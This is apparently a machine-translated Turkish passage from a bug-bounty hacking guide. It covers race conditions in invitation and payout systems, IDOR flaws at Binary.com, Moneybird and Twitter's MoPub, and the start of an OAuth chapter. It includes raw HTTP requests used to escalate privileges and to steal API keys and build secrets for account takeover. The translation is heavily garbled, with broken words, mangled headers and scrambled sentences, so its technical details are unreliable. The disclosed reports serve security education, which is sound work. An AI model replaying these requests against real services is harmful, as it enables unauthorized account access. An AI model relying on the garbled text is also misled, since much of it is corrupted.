Islemin arama, hesabim1 giincelleme ve davetiyeyi giincelleme isleminin veya # 1 oldugunu diisiindiim.

Yukarida HackerOne'da var olabilir, bu yiizden manuel olarak test ettim. Bunu yapmak igin bir saniye olusturdum ve
iigiincii hesap (biz onlara kullanici A, B ve C diyoruz). A kullanicisi olarak bir program hazirladim ve davet ettim.
kullanici B. Sonra ¢ikis yaptim. E-postadan davet URL'sini aldim ve B Kullanicist olarak giris yaptim.

mevcut tarayicim ve Kullanici C'yi 6zel bir tarayicida (oturum agmak i¢in gerekli

Davet et).
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Sonra, iki tarayiciy1 ve onaylama diigmelerini siraya koydum, béylece iistlerine yaklagtilar.

birbirleri, dyle:
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HackerOne Yaris Kosullarim Davet Ediyor

Sonra, her iki diigmeyi de olabildigince gabuk tikladim. Ilk denemem yapmadi

Bu, yeniden B kullanicisini kaldirmak i¢in can sikici eylemden gegmek zorunda kalmam anlamina geliyordu.

davet vb. Ancak ikinci girisim basarili oldum ve iki programim vardi
bir davetiyeden.

Sorunu HackerOne'a bildirirken, raporumda okuyabileceginiz gibi,

Bunun, bir saldirganin hurdaya ayirmast i¢in fazladan zaman saglayabilecek bir glivenlik agig1 oldugunu diistindiim.

Kurban programindan bu yana hangi rapor / ekibin katildig1 hakkinda bilgi
programlarina katilan iki rastgele kullanic1 i¢in kafa kasima an1 ve
iki hesap kaldirmak zorunda. Bana gore her saniye bu durumda énemli.

Yaris kosullar

c¢ikarimlar

Bu kirtllganligi bulmak ve kullanmak gercekten ¢ok eglenceliydi;

diigmelere tiklamak zorunda kaldigimdan beri kendimle ve HackerOne platformuyla

¢ok hizli. Ancak benzer giivenlik agiklarimni belirlemeye ¢aligirken

Yukarida tanimladigim adimlarin altina diisebilecek durumlar igin

bir veritabani aramasi, kodlama mantig1 ve bir veritabani giincellemesi. Bu senaryo borg verebilir
kendisini bir yaris durumu giivenlik ag1g1 igin.

Ek olarak, testinizi otomatiklestirmenin yollarin1 araym. Neyse ki benim i¢in miimkiin oldu
Bunu pek ¢ok girisimde bulunmadan bagarmak i¢in ancak muhtemelen sonra pes olurdu
4 veya 5, kullanicilar1 stnama ve her test igin davetiyeyi yeniden gonderme geregi verir.

3. Keybase Davetiye Sinirlarim1 Asmak

Zorluk : Diigiik
URL : https://keybase.io/_/api/1.0/send_invitations.json

Rapor Baglantisi : https://hackerone.com/reports/1150073

Rapor Tarihi : 5 Subat 2015
Odemeli Odiil : 350 $
Tanim :

Bilgisayar korsanlig1 yaparken, bir sitenin say1 i¢in agik bir sinir1 oldugu firsatlari arayin.
Bu 6rnekteki davetiyeler gibi gergeklestirmenize izin verilen belirli eylemlerin
bir siparise indirim kuponu uygulayabileceginiz say1, kullanici sayisi

Bir ekip hesabina vb. ekleyebilirsiniz.

Keybase cep telefonlar ve bilgisayarlar i¢in ve ne zaman baglatildiklar1 i¢in bir giivenlik uygulamasidir.
sitelerinde, kay1t saglayarak kaydolabilecekleri kisilerin sayisin1 sinirladilar
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Ug davetli kullanicilar, bir Keybase'e HTTP istegi ile baglatildi. Josip FranjkoviA
Bu davranig benzer nedenlerle bir yarig durumu igin savunmasiz olabilecegini kabul
ilk drnekte agiklandif: gibi; Keybase davet etme istegini aliyordu.

bir kullanicinin davet edip etmedigini gérmek igin veritabanini kontrol eden baska bir kullanict, belirte¢ olusturma,

e-postay1 gonderme ve kalan davet sayisini azaltma.

Test etmek icin Josip https://keybase.io/account/invitations adresini ziyaret etti, bir e-posta adresi girdi.
ve davet gonderildi. Burp gibi bir ara¢ kullanarak, muhtemelen bu istegi davetsiz misafire yolladi.

Bu, kullanicilarin bir ekleme noktasi tanimlayarak tekrarlayan testleri otomatiklestirmelerini saglar.
HTTP istegi ve her istekle yinelenecek yiiklerin belirtilmesi,

ekleme noktasina tasima kapasitesi. Bu durumda, birden fazla e-posta belirtecekti.

adresleri ve her istek ayn1 anda hepsi gonderilecekti.

3 https://hackerone.com/reports/115007

Yaris kosullart

Sonug olarak, Josip kullanic1 bagina 3 davet sinirini asarak 7 kullaniciy1 davet edebildi.
Keybase sorunu ¢ozerken hatali tasarimi onayladi ve agikladi

davetiye istegini isleme koymadan 6nce bir kilit alarak giivenlik agigini giderdi

ve davet gonderildikten sonra yayinlanacak.

cikarimlar

Bu tiir yaris kosullarini kabul etmek ve 6demek,

bir siteye izin verilir, bir programin dncelikleri, iglevselligi ve riskine baglidir
profil. Bu durumda, Keybase muhtemelen bunu denedigi i¢in kabul etti
Bunun atladigs sitelere kayitli kullanici sayisini yonetmek.

Bu, davet iglevselligi igeren tiim hata 6diil programlari i¢in gegerli degildir.

HackerOne ile gosterildigi gibi, daha once ele alinan davet drnegidir. Eger

benzer bir sey bildirirken, raporunuzun neden olmasi gerektigini agikca belirttiginizden emin olun.

bir giivenlik ac1g1 olarak kabul edilmek.

4. HackerOne Odemeleri

Zorluk : Diisiik
URL:n/a

Rapor Baglantisi : https://hackerone.com/reports/2204454

Rapor Tarihi : 12 Nisan 2017
Odemeli Odiil : 1000 Dolar
Tanmm :

Yar1s kosullarindan yararlanmaya caligirken, bir sitenin isledigi firsatlara bakin
arka plandaki veriler, ger¢eklestirdiginiz eylemlerle ilgisiz veya gecikmeli
O0demeleri yapma, e-posta gonderme veya nerede

gelecekteki bir eylem planlamak.

2016 baharinda, HackerOne bir araya gelerek ddeme sistemlerinde degisiklik yapti.
PayPal 6deme yapildig: sirada korsanlara tek bir 6demede verilen ddiiller

islemci. Daha 6nce, gilinde ii¢ 6diil aldiysaniz, {i¢

HackerOne'dan 6demeler. Degisiklikten sonra, toplam tutar: ile bir tane alirsiniz.
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2017 yilinin Nisan ayinda, Jigar Thakkar bu islevi test etti ve miimkiin oldugunu kabul etti.
o0demeleri ¢ogaltmak i¢in yeni iglevsellikteki yarig kosullarindan yararlanin. Baglarken

o0deme islemi, HackerOne bir e-posta adresi bagina 6diil aldu.
bunlari bir araya getirip, talebi PayPal'a génderdi. Burada 6n sart araniyor
email adresi. Jigar, iki bilgisayar korsaninin ayn1 PayPal e-posta adresine sahip olmas1 durumunda

4 https://hackerone.com/reports/220445
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Kayitli, HackerOne bu e-posta i¢in 6demeleri tek bir 6demede birlestirir

adres. Ancak, bu bilgisayar korsanlarindan biri kombinasyondan sonra PayPal adresini degistirdiyse
ancak HackerOne, talebi PayPal'a gondermeden 6nce, gotiirii 6deme

ilk e-posta adresi ve yeni e-posta adresi yine de 6denecek. Muhtemelen bu

¢linkii PayPal’a yapilan istek, ddemelerin timii 6denmemis olarak isaretlendi.

yapilmis. Islemin ne zaman yapildigini bilmek zorunda oldugunuzdan, bu davranis kullanmak zordu.
baslatiliyordu ve yaptiysaniz, e-postay1 degistirmek i¢in yalnizca birkag saniyeniz vardi

adresleri.

Bu 6rnek, HackerOne'un gecikmis islem islerini kullanmasi nedeniyle dikkat ¢ekicidir ve
kontrol zamanina karsi kullanim siiresi. Bazi web sitelerini kullandiginizda kayitlar1 glinceller
etkilesime gore. Ornegin, HackerOne hakkinda bir rapor génderdiginizde, bir

E-posta gonderdiginiz takima gonderilecek, ekibin istatistikleri giincellenecek ve

yakinda. Bununla birlikte, baz1 islevler bir HTTP'ye yanit olarak hemen ger¢eklesmez

istek, ddemeler gibi.

HackerOne, size hemen para gondermek yerine, artik ddiilleri birlestirdiginden

6diil aldiginizda, HackerOne'un bir arkaplan isi kullanmas1 mantikl1 geliyor.

sana bor¢lu oldugu paray1 arar, birlestirir ve PayPal'dan transfer talebinde bulunur.

Arka plan isleri, kullanicinin HTTP isteginden bagka bir tetikleyici tarafindan baglatilir ve
siteler ¢cok fazla veri iglemeye bagladiginda sik¢a kullanilir. Bu yapmaz ¢iinkii

HTTP isteklerine yanit olarak tiim site eylemlerini baslatmak ve kullanicilar beklemek i¢in
Sunucudan bir HTTP yanit1 almadan dnce iglem tamamlandi. Ne zaman sen

raporunu gonder, sunucu sana bir HTTP yanit1 génderecek ve bir arka plan yaratacak
ekibine raporun hakkinda e-posta génderme isi. Bir ekip size 6diil verdiginde 6demelerde de ayni
kelle, 6deme makbuzunu alacaklar, ancak paray1 gonderecekler.

daha sonra tamamlanmasi gereken bir arka plan isine.

Arka plan isleri ve veri isleme, yaris kosullar1 i¢in dnemlidir, ¢linkii bunlar

Kontrol kosullar1 (kontrol zamani) ve ger¢eklestirme arasinda bir gecikme olabilir.
eylemler (kullanim zamani). Bir site yalnizca bir sey eklerken kosullari kontrol ediyorsa
arkaplan islemesi ancak gergekte kullanildigi zaman degil

Bir yarig durumuna yol agabilir. Bu durumda, ayn1 e-posta adresini kontrol ederken
Odemeleri, e-posta adresinin o zaman hi¢ degismedigini kontrol etmeden birlestirmek

6deme veya kullanim.


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/220445
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cikarimlar

Bir siteyi kullanirken, ziyaret ettikten sonra verileri iyi isledigini fark ederseniz

Site, muhtemelen verileri islemek i¢in bir arka plan isi kullaniyor. Bu bir kirmizi bayrak
Sitenin etkili olup olmayacagini gormek igin isi tanimlayan kosullar1 test etmelisiniz
eski olanlara kars1 yeni kosullar. Bu 6rnekte, HackerOne idi

bir e-posta adresinin 6demelerini belirli bir para géndermeye kars: birlestirmek

e-mail adresleri. Davranisi arka plandan beri iyice test ettiginizden emin olun.

isleme bagli olarak ¢ok ¢abuktan uzun zamana kadar her yerde olabilir.

kag isin tamamlanmast igin kuyruga alind1 ve sitenin yaklasimi

Veri isleniyor.

ozet

Bir site herhangi bir zamanda, baz1 kosullarin dogru olmasina bagli olarak eylemlerde bulunur;
gerceklestirilen eylem sonucunda degisiklik, her zaman bir gans1 var

gelistiriciler yarig kosullarini hesaba katmadi. Bu tiir i¢in uyanik olmak

Bir siteye ne zaman ve ne zaman ger¢eklestirmeniz i¢in izin verdiginiz sinirl iglemlerle ilgili
arka planda eylemleri isliyor. Bu tiir giivenlik ac1g1 genellikle iliskilendirilir

kosullar ¢ok ¢abuk degisiyor, bazen neredeyse aninda

bir sey savunmasizdir, davranigtan yararlanilmasi igin birden fazla girisimde bulunabilir.
Israrct olun ve bir programin kazanamayacag bir ihtimal varsa, giiclii bir gerekce ekleyin

Kesfedilen yaris durumunuzu istismar etmenin ciddi bir giivenlik a¢ig1 oldugunu diistiniin.
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18. Guvensiz Dogrudan Nesne Referanslari

Aciklama

Saldirganin yapabilecegi bir giivensiz dogrudan nesne basvurusu (IDOR) giivenlik agig1 olusuyor

dosya, veritabani kaydi, hesap gibi bir nesneye yapilan bazi referanslara erigmek veya bunlart degistirmek,

vb aslinda onlara erisilemez olmalidir. Ornegin,

Ozel profilli bir web sitesinde hesabimzi ziyaret etmek i¢in www.site.com/user=123 adresini ziyaret edebilirsiniz .
Ancak, www.site.com/user=124 adresini denediyseniz ve erisim hakkiniz varsa , bu site

IDOR hatalarina kars1 savunmasiz sayilabilir.

Bu tiir giivenlik agigini tespit etmek, kolaydan zorlanmaya kadar uzanir. En temel benzer
Saglanan kimligin basit bir tam say1 oldugu yukaridaki 6rnege gore,

siteye yeni kayitlar (veya yukaridaki 6rnekteki kullanicilar) eklenmistir. Yani bunun igin test
sonuglar1 kontrol etmek i¢in kimlige 1 eklenmesi veya ¢ikarilmasini igerir. Kullantyorsaniz
Burp, Burp Intruder'e bir istek yiikleyerek istegi yiikleyerek bunu otomatiklestirebilirsin.

Kimlik numarasini girin ve ardindan bir adim atarak, baslangi¢ ve bitis degerlerini igeren sayisal bir liste kullanin.

Bu tiir bir testi ¢alistirirken, farkli belirtenleri degistiren igerik uzunluklarini araym.
cevaplar iade ediliyor. Bagka bir deyisle, bir site savunmasiz degilse,
Ayni icerik uzunluguna sahip bir tiir erisim reddedildi iletisini almak.

Islerin daha zor oldugu yer, bir site kendi nesnelerine referanslar1 gizlemeye calistiginda olur

rastgele tanimlayicilar, bdyle evrensel benzersiz tanimlayicilar gibi seyler kullanan referanslar

(Uuidlerin). Bu durumda, 1D, 36 karakterlik bir alfa sayisal dize olabilir.

tahmin etmek imkansiz. Bu durumda ¢aligmanin bir yolu iki kullanici profili olusturmak ve gegis yapmaktir.
Nesneleri test eden bu hesaplar arasinda. Yani, kullanici profillerine erismeye ¢alistyorsaniz

a UUID, profilinizi A Kullanicist ile olusturun ve ardindan Kullanici B ile bu profile erigmeye ¢aligin
UUID' tanidigindan beri.

UUID'ler tarafindan tanimlanan fatura kimlikleri, seyahatler vb. Gibi belirli kayitlar1 test ediyorsaniz,

yukaridaki drnege benzer sekilde, bu kayitlart A Kullanicisi olarak olusturmay1 ve ardindan erismeyi deneyin.

profilleri arasindaki gecerli UUID'leri bildiginizden beri bunlar1 B Kullanicisi olarak kullanabilirsiniz. Erigebiliyorsaniz
nesneler, bu bir sorun ama kimliklerden bu yana asir1 siddetli degil (istisna disinda)

36 karakter, rastgele dizelerdir. Bu, hepsini ama tartisilmaz kilar. Hepsi kayip degil

ragmen.

Bu noktada bir sonraki adim, UUID'nin sizdirildig1 bir alan bulmaya ¢alismaktir. Ornegin,
Ekip tabanli bir sitede, B kullanicisini ekibinize davet edebilir misiniz, dyleyse sunucu mu
UUID'lere kabul etmeden 6nce cevap veriyor mu? Sitelerin sizdirdig1 tek yol bu

Uudlerin. Diger durumlarda, bir profili ziyaret ederken sayfa kaynagini kontrol edin. Ara sira
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siteler, olusturulan tiim kayitlari da i¢eren kullanici i¢in bir JSON blob'u igerecektir
onlar tarafindan hassas UUID'leri sizdiriyorlar.
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Bu noktada, bir sizint1 bumasaniz bile, bazi siteler bu giivenlik agigin1 giderir
bilgi duyarlidir. Etkiyi belirlemek ve agiklamak size kalmistir.

neden bu konunun ele alinmasi gerektigine inantyorsunuz?
Ornekler

1. Binary.com Ayricalik Yiikselmesi

Zorluk : Diisiik
URL : binary.com

Rapor Baglantisi : https://hackerone.com/reports/98247

Rapor Tarihi : 14 Kasim 2015

Odemeli Odiil : 300 $

Tanim :

Bu gergekten ¢ok fazla agiklama gerektirmeyen basit bir giivenlik agigidir.

Temelde, bu durumda, bir kullanict herhangi bir hesaba giris yapabilir ve hassas
saldirtya ugramig kullanici hesabi ve hesabin adina
gerekli, kullanicinin hesap kimligini bilmekti.

Hacking'ten 6nce, Binary.com/cashier’a giris yaptiysaniz ve sayfa HTML’yi kontrol ettiyseniz,
PIN parametresi iceren bir <iframe> etiketi goriirsiiniiz. Bu parametre
aslinda hesap kimliginiz.

Ardindan, HTMLyi diizenlediyseniz ve baska bir PIN eklediyseniz, site otomatik olarak
sifreyi veya baska herhangi bir islemi onaylamadan yeni hesapta islem yapmak

kimlik bilgileri. Bagka bir deyisle, site size hesabinizin sahibi olarak davranir

az once sagladi.

Yine, gerekli olan tek sey birinin hesap numarasini bilmekti. Sen bile
iframe'de gergeklesen olay1, bir 6deme islemi baglatmak tizere PAYOUT olarak degistirin.
baska bir hesap Ancak, Binary.com tiim para ¢ekme islemlerinin el ile yapilmasi gerektigini belirtir

Insan incelemesi ancak bu mutlaka yakalanabilecegi anlamina gelmiyor

! hitps://hackerone.com/reports/98247
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c¢ikarimlar

Kimlik dogrulamaya dayal1 giivenlik agiklar1 arryorsaniz, aramaya devam edin
Kimlik bilgilerinin bir siteye gecirildigi yer. Bu giivenlik a¢1g1 yakalanirken
Sayfa kaynak koduna bakarak bilgileri de fark etmis olabilirsiniz.

Proxy onleyici kullanildiginda gegiriliyor.

Bir tiir kimlik bilgisi iletildigini tespit ederseniz, not almadiklarinda not alin.
sifreli goriin ve onlarla oynamaya caligin. Bu durumda, pim sadece CRrylic idi
Sifre 0e552ae717a1d08cb134f132 iken

sifre iken sifreli. Sifrelenmemis degerler giizel bir alani temsil eder.
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ile oynamaya baslayin.

2. Moneybird Uygulamasi Olusturma

Zorluk : Orta

URL : https://moneybird.com/user/applications

Rapor Baglantisi : https://hackerone.com/reports/135989
Rapor Tarihi : 3 May 2016

Odemeli Odiil : 100 $

Tanm :

Mayis 2016'da Moneybird'ii glivenlik agiklari i¢in test etmeye basladim. Bunu yaparken test etmeye bagladim
kullanic1 hesap izinleri, Hesap A ile bir igletme olusturma ve ardindan davet etme

ikinci bir kullanici, Hesap B'ye sinirli izinlerle hesaba katilmak i¢in. Eger degilseniz

platformlarini bildiklerinde, eklenen kullanicilar belirli roller ve izinlerle sinirl olabilir,

sadece faturalar, tahminler, bankacilik vb. dahil. Bunun bir pargasi olarak, tam izinli kullanicilar

ayrica her biri kendi OAuth’u olan uygulamalar olusturabilir ve API erisimini etkinlestirebilir

izinler (veya OAuth lingo'daki kapsamlar). Dolu bir uygulama olusturmak i¢in formu génderme

izinler suna benziyordu:

2 https://hackerone.com/reports/135989
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POST / kullanici / uygulamalar HTTP / 1.1

Ev sahibi : moneybird.com

Kullanict Aracisi : Mozilla / 5.0 (Windows NT 6.1; rv: 45.0) Gecko / 20100101 Firefox / 45.0
Kabul et : metin / html, uygulama / xhtml + xml, uygulama / xml; ¢ = 0.9, * / *; ¢ = 0.8
Kabul Dili : en-ABD, en; q=0.5

Kabul-Kodlama : gzip, deflate, br

DNT: 1

Hakem : https://moneybird.com/user/applications/new

Cerez : _moneybird_session = XXXXXXXXXXXXXXX; trusted_computer =
Baglanti : yakin

[gerik Tiirii : uygulama / x-www-form-urlencoded

Icerik Uzunlugu : 397

UTF-8 =% E2% 9C% 93 ve authenticity_token = redacted ve doorkeeper_application% 5Bname% 5D = TWDA \
s ve token_type = ACCESS_TOKEN & administration_id = ABCDEFGHIJKLMNOP ve% 5B% 5D = satig kapsamlar1 \

_invoices ve% 5B% 5D = belgeleri kapsamlari ve% 5B% 5D = tahminleri kapsamlar1 ve% 5B% 5D = banka kapsamlar1 ve kapsamlari \


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/135989
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/135989

% 5B% 5D = ayarlar1 & doorkeeper_application% 5Bredirect uri% 5D = & taahhiit = Kaydet

Gordiigiiniiz gibi, ¢agri bir igermektedir administration_id olarak ¢ikiyor,

Eklenen isletmeler i¢in hesap kimligi. Daha da ilging olan1 gercekti

hesap numarasinin 18 basamakli olmasina ragmen (sinama sirasinda),

Giris yaptiktan sonra hemen hesaba eklenen kullaniciya agiklandi

URL. Boylece, B Kullanicisi giris yaptiginda, onlar (ya da daha dogrusu ben) adresindeki A Hesabina yonlendirildiler.
https://moneybird.com/ABCDEFGHIJKLMNOP (yukaridaki 6rnek kimligimize dayanarak)
ABCDEFGHIJKLMOP administrasyon_id'idir.

Bu iki bilgi pargasiyla, davet ettigim kullanici olan Kullanic1’y1 kullanmak dogaldi.

B, acikea belirtilmemesine ragmen, Kullanici A's1 i¢in bir uygulama denemek ve olusturmak

bunu yapmak i¢in izin. Sonug olarak, B Kullanicistyla, Kullanicinin sahibi oldugu ikinci bir isletme olugturdum.
B'nin miilkiyeti ve kontrolii tamamen kontrol altindayd: (B Kullanicis1 B, B Hesab1 ve

bunun i¢in uygulamalar olusturabilir, ancak i¢in uygulamalar olusturma izniniz yoktu

Hesap A). Hesap B'nin ayarlar sayfasina gittim ve bir uygulama ekledim.

POST ¢agrist Administration_id yerine Account A'nin URL'sini kulland: ve ise yaradi.

B kullanicisi olarak, yalnizca benim hesabim olmasina ragmen A hesabina tam izinleri olan bir uygulamam vardi.
faturalandirma igin sinirl izinler.

Anlagilan, bir saldirgan platform izinlerini atlamak i¢in bu giivenlik agigin1 kullanabilir.
ve bir isletmeye eklenmesi kosuluyla tam izinleri olan bir uygulama olusturun veya

Bu kullanici hesabinin izinlerinden bagimsiz olarak bir kullanic1 hesabini tehlikeye atti.
Daha 6nce ¢ok gegmeden yasamaya ve hig siiphesiz raporlara kapilmaya ragmen,
Moneybird ay iginde sorunu ¢ozdii ve 6dedi. Kesinlikle harika bir takim

calismak, bir tane tavsiye ederim.
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cikarimlar

IDOR'lar igin testler, yeteneklerin yani sira keskin bir gézlem gerektirir. Incelerken

Giivenlik agiklar1 igin HTTP istekleri, asagidaki gibi hesap tanimlayicilar: aramaya baslayin
Yukaridaki Administration_id. Alan adi iken, management_id

hesap_adi ad1 verilen , sade olana kiyasla biraz yanilticidir

tamsay1 kontrol etmem gereken bir kirmizi bayrakti. Ek olarak, uzunlugu

parametresinde, giivenlik agigindan yararlanmadan giivenlik a¢igindan yararlanilmasi zor olurdu.
bir siirli ag giiriiltiisii duymak,

dogru kimlik Benzer giivenlik agiklari bulursaniz, raporunuzu gelistirmek i¢in her zaman agik
kimlikleri ifsa eden HTTP yanitlart, URL'ler vb. Neyse ki benim i¢in, kimligi

Thtiyacim olan hesap URL’sine dahil edildi.

3. Twitter Mopub API Token Calma

Zorluk : Orta

URL : https://mopub.com/api/v3/organizations/ID/mopub/activate

Rapor Baglantisi : https://hackerone.com/reports/95552 3
Rapor Tarihi : 24 Ekim 2015
Odemeli Odiil : 5.040

Tanim :


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/95552

Ekim 2015'te Akhil Reni (https://hackerone.com/wesecureapp) Twit’in

ter'in Mopub bagvurusu (2013'ten bir Twitter devralmasi) bir IDOR'a agikt1

Saldirganlarin API anahtarlarini ¢almalarina ve nihayetinde magdurun hesabini ele gegirmelerine izin veren hata.
Ilgingtir, ancak hesap devralma bilgileri ilk olarak saglanmadi

rapor - yorum ile 19 giin sonra, neyse ki Twitter bir ddiil 6demeden &nce saglandi.

Raporuna gore, bu giivenlik agigindan izin dogrulama yeterliligi olmamasina neden oldu

POST cagrisinda Mopub'in aktif ug noktasina. Iste nasil goriindiigii:

POST / api/ v3 / kuruluslar / 5460d2394b793294df01104a / mopub / HTTP'yi etkinlestir / 1.1
Ana bilgisayar : fabric.io

Kullanict Aracisi : Mozilla / 5.0 (Windows NT 6.3; WOW64; rv: 41.0) Gecko /20100101 Firefox /\
41.0

Kabul etmek: */*

Kabul Dili: en-ABD, en; q = 0.5

Kabul-Kodlama: gzip, deflate

X-CSRF Token: 0jGxOZOgvkmucYubALnlQyollsSUBJ1VQxjw0qjp73A =

Igerik Tiirii: uygulama / x-www-form-urlencoded; karakter kiimesi = UTF-8

3 https://hackerone.com/reports/95552
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X-CRASHLYTICS-DEVELOPER-TOKEN: Obb5ea45eb53fa71fa5758290be5a7d5bb867¢77
X-istenilen ile: XMLHttpRequest

Hakem: https: //fabric.io/img-srcx-onerrorprompt15/android/apps/app.myapplicati \

/ MoPub tizerinde

Icerik Uzunlugu: 235

Cerez: <diizeltildi>

Baglanti: canli tutmak

Pragma: 6nbellek yok

Onbellek Kontrolii: dnbellek yok

company_name = dragoncompany & address1 = 123 cadde ve address2 = 123 & sehir = hollywood ve eyalet \
= California & zip_code = 90210 & COUNTRY_CODE = ABD & link = false

Asagidaki yanitla sonuglanan:

{ "Mopub_identity": "dogrulad1" "5496c76e8b15dabe9c0006d7": { "id" true "birincil": fa \
Ise, "hizmet": "MoPub", "belirte¢": "35592"}, "orgiit": { "id": "5460d2394b793294df0 \
1104a " "name": "test", "ad": "test2", "api_key":" 8590313¢7382375063c2fe279a4487a9 \
8387767a " "kayitlar": { "beta_distribution": "dogru"} "accounts_count": 3," apps_co \

unts ": {" android ": 2}," sdk_organization ": true," build_secret ":" 5ef0323f62d71c475611 \
a635ea09a3132f037557d801503573b643ef8ad82054" , "mopub_id": "33525"}}

Bu aramalarda, kurulus kimliginin URL’nin bir pargasi olarak eklendigini géreceksiniz;
yukaridaki 6rnek 2'ye. Cevapta Mopub, kurulus kimligini ve ayrica

api_key'i saglar. Yine, yukaridaki 6rnege benzer sekilde, organizasyon kimligi bir
unguessable dize, platformda sizdirilmis, ayrintilari ne yazik ki

bu agiklamada paylasilmadi.

Simdi, belirtildigi gibi, sorun ¢o6ziildiikten sonra Akhil, Twitter’1,

sayginlik, magdurun hesabini tamamen devralmak i¢in kotiiye kullanilmis olabilir. Boyle yaparak,


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/95552

saldirganin, ¢calinan API anahtarimi almasi ve anahtar kodu
URL, https://app.mopub.com/complete/htsdk/?code=BUILDSECRET&next=%2d.
Bunu yaptiktan sonra, saldirgan kurbanin Mopub hesabina ve hepsine erisebilir.

Twitter'ln mobil gelistirme platformu, Fabric'ten uygulamalar / organizasyonlar.
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c¢ikarimlar

Yukaridaki Moneybird drnegine benzese de, her ikisinin de kotiiye kullanilmasi gerektiginden

sizdirilmis kurulus kimliklerini imtiyazlar yiikseltmek i¢in, bu 6rnek harika ¢iinkii

sifir ile kullanicilara uzaktan saldirabilmenin ciddiyetini gostermektedir

onlarn adina etkilesim ve tam bir istismar gosterme ihtiyaci. Baslangicta,

Akhil tam hesap devralma dahil veya gostermedi ve

Twitter'in bu séze verdigi yanit (6rnegin, ayrint1 istemek ve

Oyleyse), baslangigta ¢oziiliirken bu etkiyi diisiinmemis olabilirler.

Giivenlik agig1. Bu yiizden, rapor verirken, raporun tamamini dikkate aldiginizdan ve ayrintilarint anladiginizdan emin olun.
Raporladiginiz giivenlik agiginin, yeniden olusturma adimlari da dahil olmak iizere etkisi.

ozet

Bir saldirgan bazi referanslara erisebildigi veya degistirebildigi zaman IDOR agiklar1 ortaya ¢ikiyor

aslinda o saldirganin erisemeyecegi bir nesneye. Onlar harika

Karmagikliklarinin basit, somiiriiden farkli oldugu i¢in test edilip bulunma giivenlik agig1

UUID'lerin rastgele veya rasgele oldugu yerlerde daha karmasik olana ekleyerek ve ¢ikararak basit tamsayilar
tanimlayicilar kullanilir. Bir site UUID'ler veya rasgele tanimlayicilar kullantyorsa, hepsi degil

kayip. Bu tanimlayicilari tahmin etmek veya sitenin s1zdig1 yerleri bulmak miimkiin olabilir

UUID'ler. Buna JSON yanitlari, HTML igerik yanitlart ve URL’leri birkag

Ornekleri.

Raporlama yaparken, bir saldirganin giivenlik acigini nasil kétiiye kullanabilecegini diisiindiigiiniizden emin olun. Igin
ornegin, Moneybird drnegim bir hesaba eklenmis bir kullanic: gerektiriyorsa,
Bir saldirgan, IDOR'dan platform izinlerini tamamen atlamak i¢in yararlanabilir.

hesaptaki herhangi bir kullaniciy1 tehlikeye atmak.
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19. OAuth

Aciklama

OAuth sitesine gore, sehir iginde giivenli yetkilendirme saglamak i¢in agik bir protokoldiir.

web, mobil ve masaiistii uygulamalarindan basit ve standart bir yontemdir. Diger

kelimeler, OAuth, kullanicilarin web sitelerine izin vermesine izin veren bir kullanici kimlik dogrulama seklidir.
bagka bir siteden kendi bilgilerine ifsa etmeden veya paylagsmadan erisme basvurular

onlarin sifresi. Bu, kullanarak bir siteye girig yapmanizi saglayan temel islemdir.

Facebook, Twitter, LinkedIn vb. OAuth'un 1.0, 2.0 siiriimlerinin iki stirimii vardir. Onlar

birbirimizle uyumlu degil ve bu boliimiin amaglari i¢in ¢alisacagiz

2.0 ile.

Siire¢ oldukea kafa karistirict olabileceginden ve uygulamanin ¢ok fazla potansiyeli oldugt “¢in
hatalar i¢in Philippe Harewood’un harika bir goriintiisiinii ekledim. resmeden blog

genel siirec:

! https://www.philippeharewood.com


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.philippeharewood.com/
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Philippe Harewood - Facebook OAuth Siireci

Bunu yikalim. Baglamak igin, iistte li¢ baslik oldugunu goreceksiniz: Kullanicinin

Tarayicl , Uygulamamzin Sunucu Tarafi Kodu ve Facebook API'si . OAuth agisindan, bunlar
aslinda Kaynak Sahibi , Miisteri ve Kaynak Sunucusu . Anahtar paket servisi budur
tarayiciniz kolaylastiracak bir dizi HTTP istegini gergeklestirecek ve gergeklestirecek

Eger olarak Kaynak Sahibi , talimat Kaynak Sunucusu izin Client

Istenen kapsamda tanimlandig: sekilde kisisel bilgilerinize erisebilirsiniz. Kapsamlar

izinler gibi ve belirli bilgi pargalarina erisimi kontrol ederler. Ornegin,

Facebook kapsamlari arasinda e-posta, public_profile, user friends, vb. Sayilabilir.

e-posta kapsamy, bir site arkadaglarinizin degil, yalnizca bu Facebook bilgilerine erisebildi.
profil vb.

Bu, adimlarin {izerinden gegelim dedi.

Asama 1

OAuth igleminin timiiniin Kullanicinin tarayicisini ve kullanicinin tikladigini baslattigini gérebilirsiniz.

"Facebook ile giris". Bu tikladiginizda, siteye GET istegi ile sonuglanir. Yol
genellikle www.example.com/oauth/facebook gibi bir seye benziyor .
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Adim 2

Site, tarayiciniza bir GET gergeklestirmesini sdyleyen 302 yonlendirmesiyle yanit verecek

Konum bagliginda tanimlanan URL’yi isteyin. URL suna benzeyecek:

https://www.facebook.com/v2.0/dialog/oauth?client_id=123
Ve redirect_uri = HTTPS% 3A% 2F% 2Fwww.example.com% 2Foauth% 2Fcallback
& Response_type = kod & kapsam = email & eyalet = XYZ

Bu URL’de birkag énemli parga var. {lk olarak, client_id hangi siteyi tanimlar

sen geliyorsun Redirect uri, Facebook'a sizi tekrar nereye gonderecegini soyler.

Sitenin ( miisteri ), kapsam tarafindan tanimlanan bilgilere erigmesine izin vermis olmasi , ayrica
URL’ye dahil edilmistir.

Daha sonra response_type, Facebook'a ne dénecegini sdyler, bu bir belirte¢ veya kod olabilir.
Bu ikisi arasindaki fark onemlidir, izin verilen site tarafindan bir kod kullanilir.

istemci ) Kaynak Sunucuyu veya 6rnegimizde Facebook’u tekrar aramak

bir belirtec. Ote yandan, bu ilk durakta bir belirte istemek ve almak

hesap bilgisini sorgulamak i¢in kaynak sunucuya aninda erisim saglaymn

Bu simge gecerliydi.

